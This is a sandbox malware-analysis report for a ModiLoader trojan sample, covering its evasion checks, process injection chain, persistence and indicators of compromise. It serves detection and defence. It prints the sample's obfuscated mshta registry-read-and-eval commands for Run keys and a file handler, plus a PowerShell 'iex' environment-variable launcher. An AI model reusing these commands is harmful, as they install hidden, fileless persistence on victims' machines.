modiloader | 8637fcf33c04917f955bc902ced26cfa595905a9ce48d3e8a0da6f794a3b5f3f

General

Target

7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
Size

264KB
MD5

7eb2d009c7361067bd31077957682245
SHA1

edc601ff4aa7ed4aae84f98ec593ce2946dfe658
SHA256

8637fcf33c04917f955bc902ced26cfa595905a9ce48d3e8a0da6f794a3b5f3f
SHA512

a9796a232a400a2b203edbabb7cf2a6379c905ba8f47b10da515aacefb75ceabb972c4aeebe3a3de9357c2126939f62cbf94fe219dcd879cf1ebc18fc9642d71
SSDEEP

6144:veX94nYY+uUMFemOFu3Ksm2Yn+EE9j+ivEyPYxJQea:OSnYPweZnl+EER+iv6Iea

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2720 2716 mshta.exe
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
evasion

File and Directory Discovery
T1083

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2720	2716	mshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

description	ioc	process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 58 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2596-2-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/2596-4-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/2596-5-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/2596-6-0x0000000000440000-0x0000000000516000-memory.dmp	modiloader_stage2
behavioral1/memory/2596-7-0x0000000000440000-0x0000000000516000-memory.dmp	modiloader_stage2
behavioral1/memory/2596-9-0x0000000000440000-0x0000000000516000-memory.dmp	modiloader_stage2
behavioral1/memory/2596-8-0x0000000000440000-0x0000000000516000-memory.dmp	modiloader_stage2
behavioral1/memory/2596-11-0x0000000000440000-0x0000000000516000-memory.dmp	modiloader_stage2
behavioral1/memory/2596-12-0x0000000000440000-0x0000000000516000-memory.dmp	modiloader_stage2
behavioral1/memory/2804-21-0x00000000061F0000-0x00000000062C6000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-23-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2804-26-0x00000000061F0000-0x00000000062C6000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-35-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-42-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-41-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-40-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-43-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-45-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-39-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-38-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-47-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-37-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-36-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-58-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-57-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-59-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-66-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-56-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-55-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-54-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-49-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-48-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-46-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-44-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-34-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-33-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-32-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-31-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/284-81-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-80-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-79-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-78-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-77-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-76-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-75-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-74-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-73-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-72-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-71-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-70-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-69-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-68-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/284-67-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-25-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-30-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-29-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-28-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2
behavioral1/memory/2852-27-0x0000000000210000-0x0000000000351000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

2852 regsvr32.exe
Drops startup file 1 IoCs

Processes:

regsvr32.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a0815f.lnk regsvr32.exe

pid	process
2852	regsvr32.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a0815f.lnk	regsvr32.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:w7dDYXx=\"TT\";RP43=new%20ActiveXObject(\"WScript.Shell\");Lc1Sdji3=\"sMYrzNHG\";AK6cb3=RP43.RegRead(\"HKCU\\\\software\\\\qkrwuzl\\\\yjiro\");QI3PxFPL=\"T8atCNUw\";eval(AK6cb3);QbAAyCg2=\"N0d\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\c55956\\379df8.lnk\""	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:te9dmrKW=\"V1aeOHX\";y16D=new%20ActiveXObject(\"WScript.Shell\");lHdT8m=\"WCm\";ZcY6L=y16D.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\qkrwuzl\\\\yjiro\");BvwsP8P=\"Us\";eval(ZcY6L);dzthC6O0Y=\"W3sgnQaL\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

7eb2d009c7361067bd31077957682245_JaffaCakes118.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 2436 set thread context of 2596	2436	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2804 set thread context of 2852	2804	powershell.exe	regsvr32.exe
PID 2852 set thread context of 284	2852	regsvr32.exe	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe

Modifies registry class 7 IoCs

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:s79NoQ=\"8lLRyVI5\";pE6=new ActiveXObject(\"WScript.Shell\");y4FCI=\"D\";fuhM0=pE6.RegRead(\"HKCU\\\\software\\\\qkrwuzl\\\\yjiro\");gcbs0x5E=\"yYa\";eval(fuhM0);XbvwU7v=\"Zw\";\""	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\.925876a	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\.925876a\ = "dbb882"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882\shell\open	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeregsvr32.exe

pid	process
2804	powershell.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe
2852	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

powershell.exeregsvr32.exe

pid process

2804 powershell.exe
2852 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2804 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

7eb2d009c7361067bd31077957682245_JaffaCakes118.exe

pid process

2436 7eb2d009c7361067bd31077957682245_JaffaCakes118.exe

description	pid	process
Token: SeDebugPrivilege	2804	powershell.exe

pid	process
2436	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

7eb2d009c7361067bd31077957682245_JaffaCakes118.exemshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 2436 wrote to memory of 2596	2436	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	2436	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	2436	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	2436	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	2436	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	2436	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	2436	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	2436	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	2436	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	2436	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	2436	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2720 wrote to memory of 2804	2720	mshta.exe	powershell.exe
PID 2720 wrote to memory of 2804	2720	mshta.exe	powershell.exe
PID 2720 wrote to memory of 2804	2720	mshta.exe	powershell.exe
PID 2720 wrote to memory of 2804	2720	mshta.exe	powershell.exe
PID 2804 wrote to memory of 2852	2804	powershell.exe	regsvr32.exe
PID 2804 wrote to memory of 2852	2804	powershell.exe	regsvr32.exe
PID 2804 wrote to memory of 2852	2804	powershell.exe	regsvr32.exe
PID 2804 wrote to memory of 2852	2804	powershell.exe	regsvr32.exe
PID 2804 wrote to memory of 2852	2804	powershell.exe	regsvr32.exe
PID 2804 wrote to memory of 2852	2804	powershell.exe	regsvr32.exe
PID 2804 wrote to memory of 2852	2804	powershell.exe	regsvr32.exe
PID 2804 wrote to memory of 2852	2804	powershell.exe	regsvr32.exe
PID 2852 wrote to memory of 284	2852	regsvr32.exe	regsvr32.exe
PID 2852 wrote to memory of 284	2852	regsvr32.exe	regsvr32.exe
PID 2852 wrote to memory of 284	2852	regsvr32.exe	regsvr32.exe
PID 2852 wrote to memory of 284	2852	regsvr32.exe	regsvr32.exe
PID 2852 wrote to memory of 284	2852	regsvr32.exe	regsvr32.exe
PID 2852 wrote to memory of 284	2852	regsvr32.exe	regsvr32.exe
PID 2852 wrote to memory of 284	2852	regsvr32.exe	regsvr32.exe
PID 2852 wrote to memory of 284	2852	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2436

C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe"
2⤵
PID:2596

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:LFQiA1="vM";d79B=new%20ActiveXObject("WScript.Shell");PDFK1k="OQ";Ww44bk=d79B.RegRead("HKLM\\software\\Wow6432Node\\KRyZ6PqgS\\I7inqw6");SuV7G1="Wurs";eval(Ww44bk);v1tt5YL="R9";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2720

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:salz
2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2804

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Drops startup file
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2852

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:284

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Virtualization/Sandbox Evasion

3

T1497

Modify Registry

2

T1112

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

3

T1497

File and Directory Discovery

1

T1083

System Information Discovery

3

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\c55956\379df8.lnk
Filesize
881B

MD5
b70f9a5cf1698bee245d8918e30f8b1c

SHA1
3398a5bde6cc5a76937ca960056f453344dc3d5e

SHA256
89d81134e1ecdee1a144b59fbd6ee894da699372d7b8864b8930f23246aa4484

SHA512
47bc328940553bbe0a1a56834be98aaa112dd4af85039efbf9f6f0db44a014aadf78fc2c550b95762b38fd3df1a9743aec7ccda788ee892880f2d2c325424031

Download Submit
C:\Users\Admin\AppData\Local\c55956\4f746e.925876a
Filesize
9KB

MD5
4a4d69ad73fe23590251005c0e431323

SHA1
7129a963d5df0a3ee8ebd1105020afd71710fc8b

SHA256
93a9fc7e0f22b181b5740c9c66bec3c82238e6005de8c5e2ce87507647952187

SHA512
1841ebc341b714d7f6d95d1c22a382d912519ab65b35818e47af020d3b53df3d4db5d85349c00ffc3d70f9d33b649bee391fa341afd13139ea6ec88e2b4462f7

Download Submit
C:\Users\Admin\AppData\Local\c55956\ff1237.bat
Filesize
61B

MD5
a4ee564ba17858e285c3daf96c530e67

SHA1
c9d811ebf359babdd15ca5374ae6afb1b31401b8

SHA256
9134562b968a0afd491534e7074a3ba744c630d819c4f0c199dc79668ad12e1a

SHA512
74e316747b51b52cf8ccf57ed0f3c9a467c15d309d8de7fb905f918178d3b700d4a497e8cd9de355ee29a7a8faccec5bd3665896a96273176c0f07e343827124

Download Submit
C:\Users\Admin\AppData\Roaming\18be8e\b446ee.925876a
Filesize
2KB

MD5
f99f11cf4fc58a8b7a65a039f593d304

SHA1
41d6adf698248463b48b4ce525a267d39cd1f36c

SHA256
3f299f2a0231b7f799843e657972ebcd76be0f6d3c02fab331ed1d7f80a7244c

SHA512
fd57a917abae6aba172be675611f11715025fc039f7a423a04f52f067117acbb83cbd4c68ac9a225ad99683d4c0d77f885e36190b3e0ad7b04d17164a847c94e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a0815f.lnk
Filesize
991B

MD5
62babfbc03148949b03480fc88958278

SHA1
3d0bc72e840849856704894f84774006ffeb647d

SHA256
3f4f25c98717d1c1857e524ec37670ffd020d14cf3c2e77b8b292c9a818335f4

SHA512
b60884682547913ef6657039f3e10df7bb42ff3eae8a3ed2d69fbbedc6dc0c3fd2bd196c1e4b13b1539a80f003d426bb685db6c2790d2b37d7897628c33587cd

Download Submit
memory/284-72-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-79-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-75-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-74-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-73-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-70-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-76-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-78-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-77-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-80-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-81-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-71-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-67-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-68-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/284-69-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/2596-12-0x0000000000440000-0x0000000000516000-memory.dmp

Filesize
856KB

Download
memory/2596-2-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/2596-11-0x0000000000440000-0x0000000000516000-memory.dmp

Filesize
856KB

Download
memory/2596-8-0x0000000000440000-0x0000000000516000-memory.dmp

Filesize
856KB

Download
memory/2596-9-0x0000000000440000-0x0000000000516000-memory.dmp

Filesize
856KB

Download
memory/2596-7-0x0000000000440000-0x0000000000516000-memory.dmp

Filesize
856KB

Download
memory/2596-6-0x0000000000440000-0x0000000000516000-memory.dmp

Filesize
856KB

Download
memory/2596-5-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/2596-4-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/2804-26-0x00000000061F0000-0x00000000062C6000-memory.dmp

Filesize
856KB

Download
memory/2804-21-0x00000000061F0000-0x00000000062C6000-memory.dmp

Filesize
856KB

Download
memory/2804-24-0x0000000002ED0000-0x0000000004ED0000-memory.dmp

Filesize
32.0MB

Download
memory/2852-43-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-44-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-46-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-34-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-33-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-32-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-31-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-48-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-49-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-54-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-55-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-56-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-66-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-59-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-57-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-58-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-36-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-37-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-47-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-38-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-39-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-45-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-25-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-30-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-29-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-28-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-27-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-40-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-41-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-42-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-35-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download
memory/2852-23-0x0000000000210000-0x0000000000351000-memory.dmp

Filesize
1.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor
